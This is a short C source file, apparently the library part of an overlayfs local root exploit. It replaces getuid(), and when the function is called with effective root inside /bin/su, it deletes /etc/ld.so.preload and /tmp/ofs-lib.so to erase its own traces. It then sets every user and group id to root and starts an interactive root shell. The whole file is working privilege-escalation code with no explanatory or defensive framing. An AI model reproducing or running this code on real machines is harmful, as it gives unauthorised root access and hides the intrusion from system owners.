#include <unistd.h>

uid_t(*_real_getuid) (void);
char path[128];

uid_t
getuid(void)
{
	_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
	readlink("/proc/self/exe", (char *) &path, 128);
	if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
	unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
	setresuid(0, 0, 0);
	setresgid(0, 0, 0);
	execle("/bin/sh", "sh", "-i", NULL, NULL);
}
    return _real_getuid();
}